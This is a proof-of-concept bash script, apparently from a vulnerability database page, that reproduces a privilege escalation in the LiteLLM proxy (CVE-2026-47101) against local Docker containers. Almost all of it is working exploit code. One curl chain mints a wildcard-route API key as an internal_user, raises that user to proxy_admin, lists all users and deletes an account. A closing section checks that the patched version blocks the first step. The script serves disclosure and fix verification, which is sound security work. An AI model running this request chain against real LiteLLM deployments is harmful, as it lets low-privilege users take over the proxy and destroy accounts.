5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / demo.sh SH
#!/usr/bin/env bash
#
# demo.sh — CVE-2026-47101 LiteLLM Privilege Escalation (internal_user → proxy_admin)
#
# One-click reproduction covering report sections 5.1 through 6.2:
#   5.1  — Start vulnerable LiteLLM container (v1.82.6, pinned by digest)
#   5.2  — Confirm service via docker logs
#   5.3  — Create internal_user account via /user/new
#   5.4  — Step 1: Generate API key with wildcard allowed_routes ["/*"]
#   5.5  — Step 2: Escalate to proxy_admin via /user/update
#   5.6  — Step 3: Verify admin access via /user/list
#   5.7  — Extension: Delete admin user directly via /user/delete
#   6.1  — Start fixed version (v1.83.14-stable)
#   6.2  — Verify fix: attempt key generation (expected: blocked)
#
# Usage:
#   bash demo.sh              # full 5.1→6.2 reproduction (both versions)
#   bash demo.sh --keep       # keep containers running after demo
#

set -euo pipefail

cd "$(dirname "$0")"

RED='\033[0;31m'
GREEN='\033[0;32m'
YELLOW='\033[1;33m'
BLUE='\033[0;34m'
NC='\033[0m'

info()  { echo -e "${BLUE}[*]${NC} $*"; }
pass()  { echo -e "${GREEN}[PASS]${NC} $*"; }
fail()  { echo -e "${RED}[FAIL]${NC} $*"; }
warn()  { echo -e "${YELLOW}[!]${NC} $*"; }
banner(){ echo -e "\n${GREEN}████████${NC} $* ${GREEN}████████${NC}\n"; }

MASTER_KEY="sk-litellm-master-key"
KEEP=0

cleanup() {
    if [ "$KEEP" != "1" ]; then
        info "Cleaning up containers..."
        docker compose down --remove-orphans 2>/dev/null || true
        docker rm -f litellm-privesc litellm-privesc-fixed litellm-privesc-db 2>/dev/null || true
    else
        info "Keeping containers running (--keep)."
    fi
}

remove_existing_containers() {
    docker compose down --remove-orphans 2>/dev/null || true
    for c in "$@"; do docker rm -f "$c" 2>/dev/null || true; done
}

wait_for_litellm() {
    local url="$1"
    local timeout="${2:-120}"
    info "Waiting for LiteLLM at $url (timeout: ${timeout}s) ..."
    for i in $(seq 1 "$timeout"); do
        if curl -sf "$url" >/dev/null 2>&1; then
            pass "LiteLLM is ready!"
            return 0
        fi
        if curl -s -o /dev/null -w "%{http_code}" "$url" 2>/dev/null | grep -q "401"; then
            pass "LiteLLM is ready (auth required)!"
            return 0
        fi
        sleep 2
    done
    fail "LiteLLM did not become ready within ${timeout}s"
    return 1
}

# Create an internal_user and get their API key
create_internal_user() {
    local target="$1"
    info "Creating internal_user account..."

    local resp
    resp=$(curl -s -X POST "$target/user/new" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d '{"role": "internal_user"}' 2>&1) || true

    local user_id
    user_id=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('user_id',''))" 2>/dev/null || echo "")

    local user_key
    user_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$user_id" ] && [ -n "$user_key" ]; then
        pass "Internal user created!"
        info "  User ID:   $user_id"
        info "  API Key:   ${user_key:0:32}..."
        # Save for later steps
        echo "$user_id" > /tmp/cve47101_user_id.txt
        echo "$user_key" > /tmp/cve47101_user_key.txt
        return 0
    else
        warn "Could not parse user creation response."
        info "Response: $(echo "$resp" | head -c 300)"
        return 1
    fi
}

# Step 1: Generate a key with wildcard allowed_routes
step1_generate_wildcard_key() {
    local target="$1"
    local internal_key="$2"

    info "Step 1: Generating key with allowed_routes: [\"/*\"]"
    info "Using internal_user API key..."

    local resp
    resp=$(curl -s -X POST "$target/key/generate" \
        -H "Authorization: Bearer $internal_key" \
        -H "Content-Type: application/json" \
        -d '{"allowed_routes": ["/*"]}' 2>&1) || true

    local new_key
    new_key=$(echo "$resp" | python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$new_key" ]; then
        pass "Key with wildcard routes generated!"
        info "  New API Key: ${new_key:0:48}..."
        echo "$new_key" > /tmp/cve47101_wildcard_key.txt
        return 0
    else
        resp_code=$(echo "$resp" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('error',d.get('detail',str(d))))" 2>/dev/null || echo "$resp")
        warn "Key generation failed. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Step 2: Escalate to proxy_admin
step2_escalate_to_admin() {
    local target="$1"
    local wildcard_key="$2"
    local user_id="$3"

    info "Step 2: Escalating user '$user_id' to proxy_admin..."

    local resp
    resp=$(curl -s -X POST "$target/user/update" \
        -H "Authorization: Bearer $wildcard_key" \
        -H "Content-Type: application/json" \
        -d "{\"user_id\": \"$user_id\", \"user_role\": \"proxy_admin\"}" 2>&1) || true

    local new_role
    new_role=$(echo "$resp" | python3 -c "import sys,json; d=json.load(sys.stdin); print(d.get('data',{}).get('user_role','unknown'))" 2>/dev/null || echo "unknown")

    if echo "$resp" | grep -q "user_id"; then
        pass "Privilege escalation successful!"
        info "  New role: $new_role"
        return 0
    else
        warn "Escalation may have failed. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Step 3: Verify admin access
step3_verify_admin() {
    local target="$1"
    local wildcard_key="$2"

    info "Step 3: Verifying admin access (listing users via /user/list)..."

    local resp
    resp=$(curl -s -X GET "$target/user/list" \
        -H "Authorization: Bearer $wildcard_key" \
        -H "Content-Type: application/json" 2>&1) || true

    if echo "$resp" | grep -q "users\|user_id"; then
        pass "Admin access confirmed!"
        info "User list:"
        echo "$resp" | python3 -c "
import sys, json
data = json.load(sys.stdin)
users = data if isinstance(data, list) else data.get('users', [])
for u in users[:5]:
    uid = u.get('user_id', '?')
    role = u.get('user_role', u.get('role', '?'))
    print(f'    - {uid} (role: {role})')
" 2>/dev/null || echo "$resp" | head -c 300
        return 0
    else
        warn "Admin verification incomplete. Response: $(echo "$resp" | head -c 200)"
        return 1
    fi
}

# Section 5.7 Extension: Delete a user directly
step_extension_delete_user() {
    local target="$1"
    local wildcard_key="$2"
    local user_id="$3"

    echo ""
    info "Section 5.7 Extension: Deleting user '$user_id' via /user/delete..."

    local resp
    resp=$(curl -s -X POST "$target/user/delete" \
        -H "Authorization: Bearer $wildcard_key" \
        -H "Content-Type: application/json" \
        -d "{\"user_ids\": [\"$user_id\"]}" 2>&1) || true

    if [ "$resp" = "1" ] || echo "$resp" | grep -q "success\|deleted"; then
        pass "User deleted via /user/delete — arbitrary user deletion confirmed!"
    else
        warn "Delete response: $(echo "$resp" | head -c 200)"
    fi
}

main() {
    while [[ $# -gt 0 ]]; do
        case "$1" in
            --keep)  KEEP=1; shift ;;
            *)       warn "Unknown option: $1"; shift ;;
        esac
    done

    trap cleanup EXIT

    clear
    echo ""
    echo "  ██████╗██╗   ██╗███████╗    ██████╗ ██████╗ ██╗██╗   ██╗"
    echo " ██╔════╝██║   ██║██╔════╝    ██╔══██╗██╔══██╗██║██║   ██║"
    echo " ██║     ██║   ██║█████╗      ██████╔╝██████╔╝██║██║   ██║"
    echo " ██║     ╚██╗ ██╔╝██╔══╝      ██╔═══╝ ██╔══██╗██║╚██╗ ██╔╝"
    echo " ╚██████╗ ╚████╔╝ ███████╗    ██║     ██║  ██║██║ ╚████╔╝"
    echo "  ╚═════╝  ╚═══╝  ╚══════╝    ╚═╝     ╚═╝  ╚═╝╚═╝  ╚═══╝"
    echo ""
    echo "  CVE-2026-47101 — Privilege Escalation via /key/generate + /user/update"
    echo "  CVSS 8.8 | Affected: <1.83.14 | Fixed: v1.83.14+"
    echo "  Attack: internal_user → proxy_admin via wildcard allowed_routes"
    echo "  Reproduction: Sections 5.1 through 6.2"
    echo ""

    # ============================================================
    # Section 5.1: Start vulnerable LiteLLM container
    # ============================================================
    banner "Section 5.1: Starting vulnerable LiteLLM (v1.82.6)"
    remove_existing_containers litellm-privesc litellm-privesc-db
    docker compose up -d litellm
    info "Container: litellm-privesc (port 4000)"
    echo ""

    # ============================================================
    # Section 5.2: Confirm service running (docker logs)
    # ============================================================
    banner "Section 5.2: Confirming service running"
    info "Waiting for container to start, then showing logs..."
    sleep 5
    info "--- docker logs litellm-privesc (last 10 lines) ---"
    docker logs litellm-privesc 2>&1 | tail -10
    echo ""

    # ============================================================
    # Section 5.3: Create internal_user account
    # ============================================================
    banner "Section 5.3: Creating internal_user account"
    wait_for_litellm "http://localhost:4000" 60
    create_internal_user "http://localhost:4000"
    echo ""

    # Read saved credentials
    local INTERNAL_USER_ID
    local INTERNAL_USER_KEY
    INTERNAL_USER_ID=$(cat /tmp/cve47101_user_id.txt 2>/dev/null || echo "")
    INTERNAL_USER_KEY=$(cat /tmp/cve47101_user_key.txt 2>/dev/null || echo "")

    if [ -z "$INTERNAL_USER_KEY" ]; then
        fail "No internal user key available. Aborting."
        exit 1
    fi

    # ============================================================
    # Section 5.4: Step 1 — Generate key with wildcard routes
    # ============================================================
    banner "Section 5.4: Step 1 — Generating key with wildcard allowed_routes"
    info "Vulnerability: /key/generate does NOT validate allowed_routes against user's role"
    info "An internal_user can request admin-level routes like [\"/*\"]"
    echo ""
    step1_generate_wildcard_key "http://localhost:4000" "$INTERNAL_USER_KEY"
    echo ""

    local WILDCARD_KEY
    WILDCARD_KEY=$(cat /tmp/cve47101_wildcard_key.txt 2>/dev/null || echo "")

    if [ -z "$WILDCARD_KEY" ]; then
        fail "No wildcard key generated. The vulnerability may not exist in this version."
        exit 1
    fi

    # ============================================================
    # Section 5.5: Step 2 — Escalate to proxy_admin
    # ============================================================
    banner "Section 5.5: Step 2 — Escalating to proxy_admin via /user/update"
    info "Vulnerability: /user/update allows self-modification of user_role"
    info "Using wildcard key to bypass route authorization"
    echo ""
    step2_escalate_to_admin "http://localhost:4000" "$WILDCARD_KEY" "$INTERNAL_USER_ID"

    # ============================================================
    # Section 5.6: Step 3 — Verify admin access
    # ============================================================
    banner "Section 5.6: Step 3 — Verifying admin access"
    step3_verify_admin "http://localhost:4000" "$WILDCARD_KEY"

    # ============================================================
    # Section 5.7: Extension — Delete admin user
    # ============================================================
    echo ""
    banner "Section 5.7: Extension — Arbitrary user deletion"
    info "With wildcard routes access, /user/delete has zero auth checks"
    step_extension_delete_user "http://localhost:4000" "$WILDCARD_KEY" "$INTERNAL_USER_ID"

    # ============================================================
    # Section 6: Fixed version comparison
    # ============================================================
    echo ""
    banner "Section 6.1: Starting fixed version (v1.83.14-stable)"
    remove_existing_containers litellm-privesc-fixed
    docker compose --profile fixed up -d litellm-fixed
    wait_for_litellm "http://localhost:4001" 60

    echo ""
    banner "Section 6.2: Verifying fix (expected: blocked)"
    info "Fixed version validates allowed_routes against user's role."
    info "Internal_user should NOT be able to grant wildcard routes."

    # Need to create internal_user on fixed version too
    FIXED_USER_KEY=$(curl -s -X POST "http://localhost:4001/user/new" \
        -H "Authorization: Bearer $MASTER_KEY" \
        -H "Content-Type: application/json" \
        -d '{"role": "internal_user"}' 2>&1 | \
        python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))" 2>/dev/null || echo "")

    if [ -n "$FIXED_USER_KEY" ]; then
        local fixed_resp
        fixed_resp=$(curl -s -X POST "http://localhost:4001/key/generate" \
            -H "Authorization: Bearer $FIXED_USER_KEY" \
            -H "Content-Type: application/json" \
            -d '{"allowed_routes": ["/*"]}' 2>&1) || true

        if echo "$fixed_resp" | grep -q "error\|denied\|forbidden\|not allowed"; then
            pass "[FIXED] Key generation with wildcard routes correctly blocked!"
        else
            warn "Fixed version response: $(echo "$fixed_resp" | head -c 200)"
        fi
    else
        warn "Could not create internal_user on fixed version."
    fi

    echo ""
    echo "  ==============================================="
    pass "Reproduction complete! (Sections 5.1 — 6.2)"
    echo "  Vulnerable:   http://localhost:4000  — PRIVESC CONFIRMED"
    echo "  Fixed:        http://localhost:4001  — PRIVESC BLOCKED"
    echo "  ==============================================="
    echo ""
    echo "  Attack chain:"
    echo "    1. internal_user  →  /key/generate  →  key with allowed_routes: [\"/*\"]"
    echo "    2. new key        →  /user/update   →  user_role: proxy_admin"
    echo "    3. proxy_admin    →  /user/list     →  full admin access confirmed"
    echo ""
    echo "  Root cause: Missing authorization checks in 3 locations:"
    echo "    - /key/generate  accepts allowed_routes without role validation"
    echo "    - Route check falls through to allowed_routes wildcard matching"
    echo "    - /user/update  allows self-modification of user_role field"
    echo ""
}

main "$@"